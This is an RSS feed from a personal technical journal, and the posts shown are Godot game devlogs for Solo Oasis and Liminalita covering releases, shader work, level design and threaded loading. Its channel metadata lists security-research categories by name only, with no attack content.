<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
  xmlns:atom="http://www.w3.org/2005/Atom"
  xmlns:dc="http://purl.org/dc/elements/1.1/"
  xmlns:content="http://purl.org/rss/1.0/modules/content/"
  xmlns:media="http://search.yahoo.com/mrss/"
  xmlns:sy="http://purl.org/rss/1.0/modules/syndication/">
  <channel>
    <title>SOL.VIN Journal</title>
    <link>https://sol.vin</link>
    <description>SOL.VIN - Personal technical journal, systems engineering insights, DevOps automation, low-level security research, and projects by Ian Rash.</description>
    <language>en-us</language>
    <copyright>Copyright (c) 2026 Ian Rash</copyright>
    <managingEditor>Ian Rash</managingEditor>
    <webMaster>Ian Rash</webMaster>
    <pubDate>Fri, 03 Jul 2026 00:00:00 GMT</pubDate>
    <lastBuildDate>Fri, 03 Jul 2026 00:00:00 GMT</lastBuildDate>
    <generator>SOL.VIN Static Site Generator (Crystal)</generator>
    <docs>https://www.rssboard.org/rss-specification</docs>
    <sy:updatePeriod>hourly</sy:updatePeriod>
    <sy:updateFrequency>1</sy:updateFrequency>
    <atom:link href="https://sol.vin/rss.xml" rel="self" type="application/rss+xml" />
    <image>
      <url>https://sol.vin/apple-touch-icon.png</url>
      <title>SOL.VIN Journal</title>
      <link>https://sol.vin</link>
    </image>
    <category domain="chain">Solo Oasis Devlog</category>
    <category domain="chain">Liminalita Devlog</category>
    <category domain="chain">pixel_lang</category>
    <category domain="chain">Xiongmai - Investigational Journey</category>
    <category domain="chain">VStarCam - Investigational Journey</category>
    <category domain="skill">Godot 4</category>
    <dc:subject>Godot 4</dc:subject>
    <category domain="skill">Game Engine Development</category>
    <dc:subject>Game Engine Development</dc:subject>
    <category domain="skill">3D Modeling</category>
    <dc:subject>3D Modeling</dc:subject>
    <category domain="skill">GDShader</category>
    <dc:subject>GDShader</dc:subject>
    <category domain="skill">GLSL</category>
    <dc:subject>GLSL</dc:subject>
    <category domain="skill">Shaders</category>
    <dc:subject>Shaders</dc:subject>
    <category domain="skill">Low Poly 3D Modelling</category>
    <dc:subject>Low Poly 3D Modelling</dc:subject>
    <category domain="skill">Generative Art</category>
    <dc:subject>Generative Art</dc:subject>
    <category domain="skill">Crystal</category>
    <dc:subject>Crystal</dc:subject>
    <category domain="skill">Esoteric Programming</category>
    <dc:subject>Esoteric Programming</dc:subject>
    <category domain="skill">Raylib</category>
    <dc:subject>Raylib</dc:subject>
    <category domain="skill">Exploit PoC Development</category>
    <dc:subject>Exploit PoC Development</dc:subject>
    <category domain="skill">Security Research</category>
    <dc:subject>Security Research</dc:subject>
    <category domain="skill">Fuzzing</category>
    <dc:subject>Fuzzing</dc:subject>
    <category domain="skill">Exploitation</category>
    <dc:subject>Exploitation</dc:subject>
    <category domain="skill">C</category>
    <dc:subject>C</dc:subject>
    <category domain="skill">Reverse Engineering</category>
    <dc:subject>Reverse Engineering</dc:subject>
    <category domain="skill">Hardware Security</category>
    <dc:subject>Hardware Security</dc:subject>
    <category domain="skill">Linux Kernel</category>
    <dc:subject>Linux Kernel</dc:subject>
    <category domain="skill">Static Analysis</category>
    <dc:subject>Static Analysis</dc:subject>
    <item>
      <title>[Solo Oasis Devlog] ALL DONE</title>
      <link>https://sol.vin/soup_devlog/2.html</link>
      <guid isPermaLink="true">https://sol.vin/soup_devlog/2.html</guid>
      <pubDate>Fri, 03 Jul 2026 00:00:00 GMT</pubDate>
      <dc:date>2026-07-03</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">Solo Oasis Devlog</category>
      <category domain="skill">Godot 4</category>
      <category domain="skill-slug">godot_4</category>
      <category domain="skill-category">Game Development</category>
      <dc:subject>Godot 4</dc:subject>
      <category domain="skill">Game Engine Development</category>
      <category domain="skill-slug">game_engine_dev</category>
      <category domain="skill-category">Game Development</category>
      <dc:subject>Game Engine Development</dc:subject>
      <description><![CDATA[<p>Finally finished with the whole game! Come on by and have a fresh bowl.</p>
]]></description>
      <content:encoded><![CDATA[<p>Finally finished with the whole game! Come on by and have a fresh bowl.</p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/soup_devlog/">Solo Oasis Devlog</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2026-07-03</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Godot 4</strong> (<em>Game Development</em>) &bull; 4 years &mdash; Open-source 2D/3D game engine featuring GDScript, custom shaders, and modular scene nodes. [<a href="https://godotengine.org">Website</a>]</li>
    <li><strong>Game Engine Development</strong> (<em>Game Development</em>) &bull; 4 years &mdash; Building lightweight game engines, rendering loops, input handling, and entity systems from scratch. [<a href="https://en.wikipedia.org/wiki/Game_engine">Wikipedia</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>[Solo Oasis Devlog] Android &amp; Mobile Web Support</title>
      <link>https://sol.vin/soup_devlog/1.html</link>
      <guid isPermaLink="true">https://sol.vin/soup_devlog/1.html</guid>
      <pubDate>Wed, 20 May 2026 00:00:00 GMT</pubDate>
      <dc:date>2026-05-20</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">Solo Oasis Devlog</category>
      <category domain="skill">Godot 4</category>
      <category domain="skill-slug">godot_4</category>
      <category domain="skill-category">Game Development</category>
      <dc:subject>Godot 4</dc:subject>
      <category domain="skill">Game Engine Development</category>
      <category domain="skill-slug">game_engine_dev</category>
      <category domain="skill-category">Game Development</category>
      <dc:subject>Game Engine Development</dc:subject>
      <description><![CDATA[<p>We got an ANDROID version now! Play Solo Oasis on your android phone today! Also playing on web on mobile works now. Praise be 4.7 beta2 VirtualJoysticks!</p>
]]></description>
      <content:encoded><![CDATA[<p>We got an ANDROID version now! Play Solo Oasis on your android phone today! Also playing on web on mobile works now. Praise be 4.7 beta2 VirtualJoysticks!</p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/soup_devlog/">Solo Oasis Devlog</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2026-05-20</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Godot 4</strong> (<em>Game Development</em>) &bull; 4 years &mdash; Open-source 2D/3D game engine featuring GDScript, custom shaders, and modular scene nodes. [<a href="https://godotengine.org">Website</a>]</li>
    <li><strong>Game Engine Development</strong> (<em>Game Development</em>) &bull; 4 years &mdash; Building lightweight game engines, rendering loops, input handling, and entity systems from scratch. [<a href="https://en.wikipedia.org/wiki/Game_engine">Wikipedia</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>[Solo Oasis Devlog] Room Progress Snapshot</title>
      <link>https://sol.vin/soup_devlog/0.html</link>
      <guid isPermaLink="true">https://sol.vin/soup_devlog/0.html</guid>
      <pubDate>Thu, 30 Apr 2026 00:00:00 GMT</pubDate>
      <dc:date>2026-04-30</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">Solo Oasis Devlog</category>
      <category domain="skill">Godot 4</category>
      <category domain="skill-slug">godot_4</category>
      <category domain="skill-category">Game Development</category>
      <dc:subject>Godot 4</dc:subject>
      <category domain="skill">Game Engine Development</category>
      <category domain="skill-slug">game_engine_dev</category>
      <category domain="skill-category">Game Development</category>
      <dc:subject>Game Engine Development</dc:subject>
      <category domain="skill">3D Modeling</category>
      <category domain="skill-slug">3d_modeling</category>
      <category domain="skill-category">Design &amp; Art</category>
      <dc:subject>3D Modeling</dc:subject>
      <media:content url="https://sol.vin/images/devlogs/soup_devlog/0/1.png" medium="image" />
      <media:content url="https://sol.vin/images/devlogs/soup_devlog/0/2.png" medium="image" />
      <media:content url="https://sol.vin/images/devlogs/soup_devlog/0/3.png" medium="image" />
      <media:content url="https://sol.vin/images/devlogs/soup_devlog/0/4.png" medium="image" />
      <media:content url="https://sol.vin/images/devlogs/soup_devlog/0/5.png" medium="image" />
      <media:content url="https://sol.vin/images/devlogs/soup_devlog/0/6.png" medium="image" />
      <media:content url="https://sol.vin/images/devlogs/soup_devlog/0/7.png" medium="image" />
      <media:content url="https://sol.vin/images/devlogs/soup_devlog/0/8.png" medium="image" />
      <media:content url="https://sol.vin/images/devlogs/soup_devlog/0/9.png" medium="image" />
      <media:content url="https://sol.vin/images/devlogs/soup_devlog/0/10.png" medium="image" />
      <media:thumbnail url="https://sol.vin/images/devlogs/soup_devlog/0/1.png" />
      <description><![CDATA[<center>
<img src="/images/devlogs/soup_devlog/0/1.png" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/devlogs/soup_devlog/0/2.png" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/devlogs/soup_devlog/0/3.png" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/devlogs/soup_devlog/0/4.png" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/devlogs/soup_devlog/0/5.png" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/devlogs/soup_devlog/0/6.png" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/devlogs/soup_devlog/0/7.png" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/devlogs/soup_devlog/0/8.png" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/devlogs/soup_devlog/0/9.png" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/devlogs/soup_devlog/0/10.png" style="width: 100%; height: 100%;">
</center>
<p>Hello Everyone! We’ve been working hard on all the rooms and I wanted to provide a quick snapshot on where the project is and how things are going.</p>
<p>So far we have 20 rooms via 7 different solodevs, and many more on the way!</p>
]]></description>
      <content:encoded><![CDATA[<center>
<img src="/images/devlogs/soup_devlog/0/1.png" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/devlogs/soup_devlog/0/2.png" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/devlogs/soup_devlog/0/3.png" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/devlogs/soup_devlog/0/4.png" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/devlogs/soup_devlog/0/5.png" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/devlogs/soup_devlog/0/6.png" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/devlogs/soup_devlog/0/7.png" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/devlogs/soup_devlog/0/8.png" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/devlogs/soup_devlog/0/9.png" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/devlogs/soup_devlog/0/10.png" style="width: 100%; height: 100%;">
</center>
<p>Hello Everyone! We’ve been working hard on all the rooms and I wanted to provide a quick snapshot on where the project is and how things are going.</p>
<p>So far we have 20 rooms via 7 different solodevs, and many more on the way!</p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/soup_devlog/">Solo Oasis Devlog</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2026-04-30</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Godot 4</strong> (<em>Game Development</em>) &bull; 4 years &mdash; Open-source 2D/3D game engine featuring GDScript, custom shaders, and modular scene nodes. [<a href="https://godotengine.org">Website</a>]</li>
    <li><strong>Game Engine Development</strong> (<em>Game Development</em>) &bull; 4 years &mdash; Building lightweight game engines, rendering loops, input handling, and entity systems from scratch. [<a href="https://en.wikipedia.org/wiki/Game_engine">Wikipedia</a>]</li>
    <li><strong>3D Modeling</strong> (<em>Design &amp; Art</em>) &bull; 4 years &mdash; Creating 3D polygonal models, retro low-poly assets, and environmental art for games. [<a href="https://en.wikipedia.org/wiki/3D_modeling">Wikipedia</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>[Liminalita Devlog] Shader Optimization &amp; Visual Refinements</title>
      <link>https://sol.vin/liminalita_devlog/3.html</link>
      <guid isPermaLink="true">https://sol.vin/liminalita_devlog/3.html</guid>
      <pubDate>Tue, 19 Aug 2025 00:00:00 GMT</pubDate>
      <dc:date>2025-08-19</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">Liminalita Devlog</category>
      <category domain="skill">Godot 4</category>
      <category domain="skill-slug">godot_4</category>
      <category domain="skill-category">Game Development</category>
      <dc:subject>Godot 4</dc:subject>
      <category domain="skill">GDShader</category>
      <category domain="skill-slug">gdshader</category>
      <category domain="skill-category">Graphics &amp; Game Dev</category>
      <dc:subject>GDShader</dc:subject>
      <category domain="skill">GLSL</category>
      <category domain="skill-slug">glsl</category>
      <category domain="skill-category">Graphics &amp; Game Dev</category>
      <dc:subject>GLSL</dc:subject>
      <category domain="skill">Shaders</category>
      <category domain="skill-slug">shaders</category>
      <category domain="skill-category">Graphics &amp; Game Dev</category>
      <dc:subject>Shaders</dc:subject>
      <description><![CDATA[<h2>Custom Shader Optimizations</h2>
<p>Over the past few weeks, development focused heavily on refactoring and optimizing the custom GLSL and GDShader pipelines across Liminalita.</p>
<p>---</p>
<h2>Key Shader Enhancements</h2>
<ul>
  <li><strong>Fragment Pass Performance</strong>: Streamlined surface normal map evaluations and screen-space outline calculations, reducing fragment shader instructions and improving framerates in dense room layouts.</li>
  <li><strong>Material &amp; Palette Batching</strong>: Combined multi-color outline Passes into single-pass materials to eliminate unnecessary render state changes.</li>
  <li><strong>Water &amp; Transparency Shaders</strong>: Optimized the depth and refraction calculations in the aquarium and pool water shaders for consistent cross-platform performance.</li>
</ul>
<p>---</p>
<p>These visual and rendering performance improvements pave the way for upcoming environment expansions and level generation features.</p>
<p>— sol.vin</p>
]]></description>
      <content:encoded><![CDATA[<h2>Custom Shader Optimizations</h2>
<p>Over the past few weeks, development focused heavily on refactoring and optimizing the custom GLSL and GDShader pipelines across Liminalita.</p>
<p>---</p>
<h2>Key Shader Enhancements</h2>
<ul>
  <li><strong>Fragment Pass Performance</strong>: Streamlined surface normal map evaluations and screen-space outline calculations, reducing fragment shader instructions and improving framerates in dense room layouts.</li>
  <li><strong>Material &amp; Palette Batching</strong>: Combined multi-color outline Passes into single-pass materials to eliminate unnecessary render state changes.</li>
  <li><strong>Water &amp; Transparency Shaders</strong>: Optimized the depth and refraction calculations in the aquarium and pool water shaders for consistent cross-platform performance.</li>
</ul>
<p>---</p>
<p>These visual and rendering performance improvements pave the way for upcoming environment expansions and level generation features.</p>
<p>— sol.vin</p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/liminalita_devlog/">Liminalita Devlog</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2025-08-19</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Godot 4</strong> (<em>Game Development</em>) &bull; 4 years &mdash; Open-source 2D/3D game engine featuring GDScript, custom shaders, and modular scene nodes. [<a href="https://godotengine.org">Website</a>]</li>
    <li><strong>GDShader</strong> (<em>Graphics &amp; Game Dev</em>) &bull; 4 years &mdash; Godot Engine&#39;s custom shading language for 2D and 3D visual effects, materials, and post-processing. [<a href="https://docs.godotengine.org/en/stable/tutorials/shaders/index.html">Website</a>]</li>
    <li><strong>GLSL</strong> (<em>Graphics &amp; Game Dev</em>) &bull; 4 years &mdash; OpenGL Shading Language for high-performance GPU vertex and fragment shader development. [<a href="https://en.wikipedia.org/wiki/OpenGL_Shading_Language">Wikipedia</a>]</li>
    <li><strong>Shaders</strong> (<em>Graphics &amp; Game Dev</em>) &bull; 4 years &mdash; GPU shader programming for custom visual effects, post-processing, and material lighting. [<a href="https://en.wikipedia.org/wiki/Shader">Wikipedia</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>[Liminalita Devlog] Library of Babel Modeling, Atrium Teleports &amp; Lobby Expansion</title>
      <link>https://sol.vin/liminalita_devlog/2.html</link>
      <guid isPermaLink="true">https://sol.vin/liminalita_devlog/2.html</guid>
      <pubDate>Wed, 11 Jun 2025 00:00:00 GMT</pubDate>
      <dc:date>2025-06-11</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">Liminalita Devlog</category>
      <category domain="skill">Godot 4</category>
      <category domain="skill-slug">godot_4</category>
      <category domain="skill-category">Game Development</category>
      <dc:subject>Godot 4</dc:subject>
      <category domain="skill">3D Modeling</category>
      <category domain="skill-slug">3d_modeling</category>
      <category domain="skill-category">Design &amp; Art</category>
      <dc:subject>3D Modeling</dc:subject>
      <category domain="skill">Low Poly 3D Modelling</category>
      <category domain="skill-slug">low_poly_3d_modeling</category>
      <category domain="skill-category">Design &amp; Art</category>
      <dc:subject>Low Poly 3D Modelling</dc:subject>
      <media:content url="https://sol.vin/images/devlogs/liminalita_devlog/2/1.png" medium="image" />
      <media:thumbnail url="https://sol.vin/images/devlogs/liminalita_devlog/2/1.png" />
      <description><![CDATA[<center>
<img src="/images/devlogs/liminalita_devlog/2/1.png" style="width: 100%; height: 100%;">
</center>
<h2>Library of Babel Architecture</h2>
<p>The Library of Babel environment is now fully modeled and functional. The hexagonal structural layout is complete and fully walkable in 3D space. Future updates will focus on populating the procedural book text and visual generator content.</p>
<p>---</p>
<h2>Lobby Additions &amp; Sun Room</h2>
<ul>
  <li>Added a new water feature to the main lobby area, connecting visually to the aquarium themes and providing atmospheric motion.</li>
  <li>Completed the sun room—a clean, vibrant architectural space that balances out the muted tones of the main gallery corridors.</li>
</ul>
<p>---</p>
<h2>Atrium &amp; Aquarium Updates</h2>
<ul>
  <li>Integrated a glass aquarium display tank—a transparent exhibit providing a direct view of procedurally pathing fish.</li>
  <li>Implemented an atrium transfer zone that allows players to teleport across the main atrium level efficiently during exploration.</li>
</ul>
<p>---</p>
<p>More updates coming soon, focusing on the procedural book generation system and additional exhibit branches.</p>
<p>— sol.vin</p>
]]></description>
      <content:encoded><![CDATA[<center>
<img src="/images/devlogs/liminalita_devlog/2/1.png" style="width: 100%; height: 100%;">
</center>
<h2>Library of Babel Architecture</h2>
<p>The Library of Babel environment is now fully modeled and functional. The hexagonal structural layout is complete and fully walkable in 3D space. Future updates will focus on populating the procedural book text and visual generator content.</p>
<p>---</p>
<h2>Lobby Additions &amp; Sun Room</h2>
<ul>
  <li>Added a new water feature to the main lobby area, connecting visually to the aquarium themes and providing atmospheric motion.</li>
  <li>Completed the sun room—a clean, vibrant architectural space that balances out the muted tones of the main gallery corridors.</li>
</ul>
<p>---</p>
<h2>Atrium &amp; Aquarium Updates</h2>
<ul>
  <li>Integrated a glass aquarium display tank—a transparent exhibit providing a direct view of procedurally pathing fish.</li>
  <li>Implemented an atrium transfer zone that allows players to teleport across the main atrium level efficiently during exploration.</li>
</ul>
<p>---</p>
<p>More updates coming soon, focusing on the procedural book generation system and additional exhibit branches.</p>
<p>— sol.vin</p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/liminalita_devlog/">Liminalita Devlog</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2025-06-11</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Godot 4</strong> (<em>Game Development</em>) &bull; 4 years &mdash; Open-source 2D/3D game engine featuring GDScript, custom shaders, and modular scene nodes. [<a href="https://godotengine.org">Website</a>]</li>
    <li><strong>3D Modeling</strong> (<em>Design &amp; Art</em>) &bull; 4 years &mdash; Creating 3D polygonal models, retro low-poly assets, and environmental art for games. [<a href="https://en.wikipedia.org/wiki/3D_modeling">Wikipedia</a>]</li>
    <li><strong>Low Poly 3D Modelling</strong> (<em>Design &amp; Art</em>) &bull; 4 years &mdash; Creating retro-styled, low-polygon 3D models and environmental assets optimized for game engines. [<a href="https://en.wikipedia.org/wiki/Low_poly">Wikipedia</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>[Liminalita Devlog] Expanding Exhibits, Threaded Loading &amp; World Architecture</title>
      <link>https://sol.vin/liminalita_devlog/1.html</link>
      <guid isPermaLink="true">https://sol.vin/liminalita_devlog/1.html</guid>
      <pubDate>Fri, 06 Jun 2025 00:00:00 GMT</pubDate>
      <dc:date>2025-06-06</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">Liminalita Devlog</category>
      <category domain="skill">Godot 4</category>
      <category domain="skill-slug">godot_4</category>
      <category domain="skill-category">Game Development</category>
      <dc:subject>Godot 4</dc:subject>
      <category domain="skill">Game Engine Development</category>
      <category domain="skill-slug">game_engine_dev</category>
      <category domain="skill-category">Game Development</category>
      <dc:subject>Game Engine Development</dc:subject>
      <category domain="skill">3D Modeling</category>
      <category domain="skill-slug">3d_modeling</category>
      <category domain="skill-category">Design &amp; Art</category>
      <dc:subject>3D Modeling</dc:subject>
      <media:content url="https://sol.vin/images/devlogs/liminalita_devlog/1/1.png" medium="image" />
      <media:thumbnail url="https://sol.vin/images/devlogs/liminalita_devlog/1/1.png" />
      <description><![CDATA[<center>
<img src="/images/devlogs/liminalita_devlog/1/1.png" style="width: 100%; height: 100%;">
</center>
<p>---</p>
<h2>Infinite S-Gallery</h2>
<p>One of the newest additions is a procedurally generated infinite gallery built in an S-shaped pattern. It loops endlessly by repeating room structures, drawing inspiration from <em>I Don’t Get It</em> (Procjam 2021). The spatial repetition becomes part of the experience—the further you walk, the more uncanny the atmosphere feels.</p>
<p>Check out a short preview video of the work-in-progress: WIP Infinite Gallery Video</p>
<p>---</p>
<h2>Hilbert&#39;s Hotel</h2>
<p>The infinite hotel expansion continues to grow. It is loosely based on Hilbert’s Hotel paradox—an infinite space that always has room for one more guest.</p>
<p>Each floor is either procedurally generated or selected from handcrafted layout sets (such as motel courtyards or corporate office spaces). When descending a staircase and looking away, the level geometry quietly shifts beneath you, creating the illusion of endless vertical descent. Elevators on each floor allow the player to return to the main lobby at any time.</p>
<p>---</p>
<h2>Aquarium and Underwater Zones</h2>
<p>The aquarium zone has been expanded significantly. Wells, ponds, and fountains scattered across other parts of the game can now be jumped into, teleporting the player into various underwater environments. These areas feed back into an aquarium hub, encouraging exploration across every body of water.</p>
<p>---</p>
<h2>Library of Babel</h2>
<p>A major new environment feature under active development is the Library of Babel—a hexagonal, seemingly infinite tower structure filled with randomized books. These books contain generated content ranging from text to surreal imagery and glitched symbols.</p>
<p>---</p>
<h2>Liminal House &amp; Procedural TV</h2>
<p>Another addition is the liminal house, designed to resemble a child’s sketch of a home. Inside is a procedurally generated television that flips channels between different forms of generative art, with every channel change synthesizing a new visual or sonic piece.</p>
<p>---</p>
<h2>Liminal Neighborhood</h2>
<p>I have been modeling an underground liminal neighborhood—strangely buried beneath the earth. While still early in concept, the environment captures an unsettling, surreal atmosphere.</p>
<p>---</p>
<h2>Threaded Level Loading System</h2>
<p>I overhauled the backend loading architecture to optimize runtime performance. Levels now stream and load assets asynchronously using threaded loading and staged activation rather than blocking all at once, ensuring smooth transitions across large zones like the hotel and aquarium.</p>
<p>---</p>
<h2>Future Planned Zones</h2>
<p>Several concepts are currently in the planning and modeling phase:</p>
<ul>
  <li><strong>Decision Gallery</strong>: A gallery where choosing different hallway paths (such as red vs. blue corridors) dynamically influences the exhibit artwork displayed ahead.</li>
  <li><strong>Surreal Tropical Island</strong>: A transition space and liminal vacation zone.</li>
  <li><strong>Subterranean Mall</strong>: A courtyard-style mall leading to smaller exhibits styled as individual shops.</li>
  <li><strong>Supermarket</strong>: Inspired by Omega Mart, featuring playful and surreal products rather than literal realism.</li>
  <li><strong>Corporate Office</strong>: A sterile office environment with maze-like repetition and absurd corporate messaging.</li>
</ul>
<p>---</p>
<p>Thanks again to everyone following the devlogs and testing early builds.</p>
<p>— sol.vin</p>
]]></description>
      <content:encoded><![CDATA[<center>
<img src="/images/devlogs/liminalita_devlog/1/1.png" style="width: 100%; height: 100%;">
</center>
<p>---</p>
<h2>Infinite S-Gallery</h2>
<p>One of the newest additions is a procedurally generated infinite gallery built in an S-shaped pattern. It loops endlessly by repeating room structures, drawing inspiration from <em>I Don’t Get It</em> (Procjam 2021). The spatial repetition becomes part of the experience—the further you walk, the more uncanny the atmosphere feels.</p>
<p>Check out a short preview video of the work-in-progress: WIP Infinite Gallery Video</p>
<p>---</p>
<h2>Hilbert&#39;s Hotel</h2>
<p>The infinite hotel expansion continues to grow. It is loosely based on Hilbert’s Hotel paradox—an infinite space that always has room for one more guest.</p>
<p>Each floor is either procedurally generated or selected from handcrafted layout sets (such as motel courtyards or corporate office spaces). When descending a staircase and looking away, the level geometry quietly shifts beneath you, creating the illusion of endless vertical descent. Elevators on each floor allow the player to return to the main lobby at any time.</p>
<p>---</p>
<h2>Aquarium and Underwater Zones</h2>
<p>The aquarium zone has been expanded significantly. Wells, ponds, and fountains scattered across other parts of the game can now be jumped into, teleporting the player into various underwater environments. These areas feed back into an aquarium hub, encouraging exploration across every body of water.</p>
<p>---</p>
<h2>Library of Babel</h2>
<p>A major new environment feature under active development is the Library of Babel—a hexagonal, seemingly infinite tower structure filled with randomized books. These books contain generated content ranging from text to surreal imagery and glitched symbols.</p>
<p>---</p>
<h2>Liminal House &amp; Procedural TV</h2>
<p>Another addition is the liminal house, designed to resemble a child’s sketch of a home. Inside is a procedurally generated television that flips channels between different forms of generative art, with every channel change synthesizing a new visual or sonic piece.</p>
<p>---</p>
<h2>Liminal Neighborhood</h2>
<p>I have been modeling an underground liminal neighborhood—strangely buried beneath the earth. While still early in concept, the environment captures an unsettling, surreal atmosphere.</p>
<p>---</p>
<h2>Threaded Level Loading System</h2>
<p>I overhauled the backend loading architecture to optimize runtime performance. Levels now stream and load assets asynchronously using threaded loading and staged activation rather than blocking all at once, ensuring smooth transitions across large zones like the hotel and aquarium.</p>
<p>---</p>
<h2>Future Planned Zones</h2>
<p>Several concepts are currently in the planning and modeling phase:</p>
<ul>
  <li><strong>Decision Gallery</strong>: A gallery where choosing different hallway paths (such as red vs. blue corridors) dynamically influences the exhibit artwork displayed ahead.</li>
  <li><strong>Surreal Tropical Island</strong>: A transition space and liminal vacation zone.</li>
  <li><strong>Subterranean Mall</strong>: A courtyard-style mall leading to smaller exhibits styled as individual shops.</li>
  <li><strong>Supermarket</strong>: Inspired by Omega Mart, featuring playful and surreal products rather than literal realism.</li>
  <li><strong>Corporate Office</strong>: A sterile office environment with maze-like repetition and absurd corporate messaging.</li>
</ul>
<p>---</p>
<p>Thanks again to everyone following the devlogs and testing early builds.</p>
<p>— sol.vin</p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/liminalita_devlog/">Liminalita Devlog</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2025-06-06</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Godot 4</strong> (<em>Game Development</em>) &bull; 4 years &mdash; Open-source 2D/3D game engine featuring GDScript, custom shaders, and modular scene nodes. [<a href="https://godotengine.org">Website</a>]</li>
